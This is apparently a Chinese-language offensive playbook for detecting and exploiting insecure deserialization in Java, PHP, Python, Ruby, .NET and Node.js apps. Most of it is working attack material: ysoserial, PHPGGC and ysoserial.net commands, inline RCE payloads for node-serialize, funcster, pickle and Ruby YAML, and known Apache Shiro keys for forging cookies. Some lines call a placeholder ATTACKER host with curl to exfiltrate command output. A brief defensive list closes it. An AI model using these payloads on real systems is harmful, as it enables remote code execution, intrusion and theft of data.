发现不可信数据反序列化入口时，如何指纹识别并构造…

当应用通过 ObjectInputStream、unserialize、pickle、Marshal、BinaryFormatter、node-serialize 等机制反序列化不可信数据时，用于确认漏洞并升级为 RCE/文件读取/权限提升。

适用场景

解决思路

1. 流量指纹识别：Java 查 hex `ac ed 00 05`、Base64 `rO0AB`、`Content-Type: application/x-java-serialized-object`、WebLogic 7001/7002 的 T3/IIOP；PHP 查 `O:NUMBER:"ClassName"`、`a:NUMBER:{`、`phar://` URI；Python 查 hex `80 03`/`80 04`、Base64 二进制块、源码中的 `pickle.loads`/`pickle.load`。
2. Java 用 ysoserial 生成 payload：`java -jar ysoserial.jar CommonsCollections1 "curl http://ATTACKER/pwned" > payload.bin`，HTTP 传输时 `| base64 -w0`；按依赖出现频率依次尝试 CommonsCollections1-7、Spring1/2、Groovy1、Hibernate1、JBossInterceptors1、Jdk7u21、URLDNS。
3. 先用 URLDNS 链做安全确认：`java -jar ysoserial.jar URLDNS "http://UNIQUE_TOKEN.burpcollaborator.net" > probe.bin`，DNS 命中即确认反序列化，再升级到 RCE 链。
4. Commons Collections 链原理：classpath 存在 `org.apache.commons.collections` 3.x 且对不可信数据调用 `readObject()` 时，`InvokerTransformer` → `ChainedTransformer` → `TransformedMap` 在反序列化期间触发 `Runtime.exec()`。
5. Apache Shiro rememberMe 攻击：响应在无效会话时设置 `rememberMe=deleteMe` 即命中；用已知硬编码 key（`kPH+bIxk5D2deZiIxcaaaA==`、`wGJlpLanyXlVB1LUUWolBg==`、`4AvVhmFLUs0KTA3Kprsdag==`、`Z3VucwAAAAAAAAAAAAAAAA==`）对 ysoserial payload（推荐 CommonsCollections6）做 AES-CBC 加密（随机 IV），Base64 后作为 `rememberMe` cookie 发送；先用 URLDNS 链 + DNSLog 确认；修复后 key 可能通过 padding oracle 或 SHIRO-721 泄露。
6. WebLogic 反序列化多向量：T3 协议（7001 端口）直接注入序列化对象、XMLDecoder（CVE-2017-10271）经 `/wls-wsat/CoordinatorPortType`、IIOP 协议；用 `nmap -sV -p 7001 TARGET` 探测 banner 中的 T3/WebLogic。
7. Java RMI Registry（1099 端口）默认接受序列化对象：`java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit TARGET 1099 CommonsCollections1 "id"`，需目标 classpath 存在可利用库，适用于 JDK <= 8u111 且无 JEP 290 过滤器。
8. 按 JDK 版本选择利用路径：< 8u121 时 RMI/LDAP 远程类加载可用；8u121-8u190 时 RMI 的 `trustURLCodebase=false` 但 LDAP 仍可用；>= 8u191 两者均被阻断，改用 LDAP 返回序列化 gadget 对象（而非远程类）绕过。
9. PHP 魔术方法链利用：`__wakeup()` 在 unserialize 时立即调用、`__destruct()` 在对象回收时调用、`__toString()` 在对象被当字符串时调用、`__call()` 在调用不可访问方法时调用；构造序列化对象让这些方法触发文件写入、SQL 查询、命令执行或 SSRF。
10. PHP 序列化格式：`O:LENGTH:"CLASS":PROP_COUNT:{PROPERTIES}`，例如 `O:8:"ClassName":2:{s:4:"prop";s:5:"value";s:4:"cmd";s:2:"id";}`；私有属性需加 `\0ClassName\0` 前缀。
11. phpMyAdmin 配置注入实例：`action=test&configuration=O:10:"PMA_Config":1:{s:6:"source";s:11:"/etc/passwd";}` 通过 `source` 属性读取任意文件。
12. PHP 用 PHPGGC 生成链：`phpggc -l` 列出可用链，`phpggc Laravel/RCE1 system id` 生成 payload；常见链包括 Laravel/RCE1-10、Symfony/RCE1-4、Guzzle/RCE1、Monolog/RCE1-2、WordPress/RCE1、Slim/RCE1。
13. Phar 反序列化：Phar 归档的 metadata 含序列化数据，任何对 `phar://` URI 的文件操作都会触发反序列化（即使未直接调用 `unserialize()`）；触发函数包括 `file_exists()`、`file_get_contents()`、`fopen()`、`is_file()`、`is_dir()`、`copy()`、`filesize()`、`filetype()`、`stat()`、`include()`、`require()`、`getimagesize()`；流程为上传合法文件（如 JPEG phar polyglot）→ 触发 `file_exists("phar://uploads/avatar.jpg")` → 执行 gadget；用 `phpggc -p phar -o exploit.phar Monolog/RCE1 system id` 生成。
14. Python pickle 利用：定义类实现 `__reduce__` 返回 `(os.system, ("id",))`，`pickle.dumps(Exploit())` 生成 payload 发送到调用 `pickle.loads()` 的目标。
15. 用 `pickletools.dis(payload)` 分析 pickle opcode，查找 GLOBAL 引用危险模块（os、subprocess、builtins）及 REDUCE。
16. 排查 Python 反序列化 sink：`pickle.loads(user_data)`、`pickle.load(file_handle)`、`yaml.load(data)`（未用 SafeLoader）、`jsonpickle.decode(data)`、`shelve.open(path)`。
17. 绕过 RestrictedUnpickler：检查 `find_class` 白名单是否过宽，若 `safe_builtins` 包含 `eval`、`exec` 或 `__import__` 则仍可利用。
18. Ruby Marshal：`Marshal.load` 处理不可信数据可致 RCE，指纹为以 `\x04\x08`（hex `0408`）开头的二进制数据；任何实现 `marshal_dump`/`marshal_load` 的类都可能是 gadget；用 `[hex_string].pack("H*")` 在 Docker 中验证。
19. Ruby YAML.load（非 safe_load）可实例化任意 Ruby 对象：先测试 `YAML.load("--- !ruby/object:Gem::Installer\ni: x")` 检查类实例化；Ruby <= 2.7.2 用 `Gem::Requirement` 链（`git_set: id` 或 `git_set: sleep 600`）；Ruby 2.x-3.x 用 `Gem::Installer` → `TarReader` → `Kernel#system` 多步链；`YAML.safe_load`（Ruby 2.1+）和 `Psych.safe_load` 安全。
20. Ruby YAML 通用探测：提交触发 DNS 回调的 YAML，如 `--- !ruby/object:Gem::Fetcher\nuri: http://BURP_COLLAB/`；工具用 `elttam/ruby-deserialization`。
21. Ruby YAML payload 模板：`--- !ruby/object:Gem::Requirement` 下嵌 `Gem::DependencyList`、`Gem::StubSpecification`，`loaded_from: "|id"` 触发命令。
22. Ruby 2.x-3.x Gem::Installer 链模板：`!ruby/hash:Gem::Installer` + `!ruby/hash:Gem::SpecFetcher` + `!ruby/object:Gem::Requirement` 嵌 `Gem::Package::TarReader`、`Net::BufferedIO`、`Gem::Package::TarReader::Entry`、`Net::WriteAdapter`、`Gem::RequestSet`，最终 `socket: !ruby/module 'Kernel'`、`method_id: :system`、`git_set: id`。
23. .NET 流量指纹：BinaryFormatter 为 hex `00 01 00 00 00` / Base64 `AAEAAD`；ViewState 以 `__VIEWSTATE` 开头或 hex `FF 01` / Base64 `/w`；JSON.NET 含 `$type` 属性；XmlSerializer/NetDataContractSerializer 为 XML。
24. .NET BinaryFormatter（.NET 5+ 已弃用，最危险）用 ysoserial.net：`ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "calc.exe" -o base64`、`ysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter -c "cmd /c whoami > C:\\out.txt" -o base64`；LosFormatter 包装 BinaryFormatter，同样 gadget 可用：`ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "calc.exe" -o base64`。
25. .NET XmlSerializer + ObjectDataProvider 链：XML 中构造 `ObjectDataProvider` 的 `MethodName=Start`、`MethodParameters` 为 `cmd.exe` 与 `/c whoami`、`ObjectInstance` 为 `System.Diagnostics.Process`（或 `ProcessStartInfo` 指定 FileName/Arguments）。
26. .NET JSON.NET TypeNameHandling 滥用：当设置为 `Auto`、`Objects`、`Arrays` 或 `All` 时，构造 `$type` 为 `System.Windows.Data.ObjectDataProvider, PresentationFramework`、`MethodName=Start`、`MethodParameters` 为 `System.Collections.ArrayList` 含 `cmd.exe` 与 `/c whoami`、`ObjectInstance` 为 `System.Diagnostics.Process, System`。
27. .NET ViewState 伪造：若 `enableViewStateMac=false`，用 `ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd /c whoami" --validationalg="SHA1" --validationkey="KNOWN_KEY"`；通过 LFI/备份泄露 web.config 中的 machineKey 后伪造；工具用 `NotSoSecure/Blacklist3r`。
28. .NET 常用 gadget 链：TypeConfuseDelegate、TextFormattingRunProperties、PSObject、ActivitySurrogateSelectorFromFile、WindowsIdentity；工具为 `pwntester/ysoserial.net`。
29. Node.js node-serialize：内部用 `eval()`，payload 用 `_$$ND_FUNC$$_` 标记 + IIFE，末尾 `()` 触发立即执行，例如 `{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('id',function(error,stdout,stderr){console.log(stdout)});}()"}`；完整 HTTP 利用可放 cookie 或 body：`{"username":"_$$ND_FUNC$$_function(){require('child_process').exec('curl http://ATTACKER/?x=$(id|base64)',function(e,o,s){});}()","email":"test@test.com"}`。
30. Node.js funcster：`funcster.deepDeserialize(userInput)` 存在风险，payload 用 `__js_function` 经 `constructor.constructor` 访问 process，例如 `{"__js_function":"function(){var net=this.constructor.constructor('return require')()('child_process');return net.execSync('id').toString();}"}`。
31. Node.js cryo：与 funcster 类似，序列化 JS 对象并支持函数。
32. PHP create_function + 反序列化组合：当类在 `__destruct` 或 `__wakeup` 中使用 `create_function` 时，序列化对象注入 `func=create_function`、`arg=";}system('id');/*"`，使 lambda 体变为 `function(){ ;}system('id');/* }`；序列化形式需私有属性前缀：`O:8:"ClassName":2:{s:13:"\0ClassName\0func";s:15:"create_function";s:12:"\0ClassName\0arg";s:18:";}system('id');/*";}`。
33. 检测方法论：发现二进制块或编码对象时，按 Java（ac ed / rO0AB）→ URLDNS 安全确认 → 识别库 → 匹配 ysoserial 链；PHP（O:N:"...）→ 识别框架 → PHPGGC 链 → 检查 phar://；Python（不透明二进制/Base64）→ pickle + DNS 回调 → 检查 PyYAML 不安全 load；不确定时依次尝试 URLDNS、PHP 序列化测试串、监控类加载失败错误信息。
34. 防御认知：Java 用 JEP 290 反序列化过滤器、白名单类、避免对不可信数据用 ObjectInputStream、改用 JSON/Protobuf；PHP 避免对用户输入用 `unserialize()`、改用 `json_decode()`、文件操作中阻断 `phar://`；Python 仅对可信数据用 pickle、外部输入用 json、PyYAML 始终用 `yaml.safe_load()`。

适用边界 · 注意事项

• 目标未对不可信数据执行反序列化（无 ObjectInputStream/unserialize/pickle/Marshal/BinaryFormatter/node-serialize 等 sink）时不适用。
• 目标 JDK >= 8u191 且未找到 LDAP 返回序列化 gadget 对象的绕过路径时，RMI/LDAP 远程类加载利用不可行。
• 目标已启用 JEP 290 反序列化过滤器、PHP 已禁用 unserialize/phar、Python 已用 RestrictedUnpickler 且白名单严格、Ruby 已用 YAML.safe_load 时，常规链失效。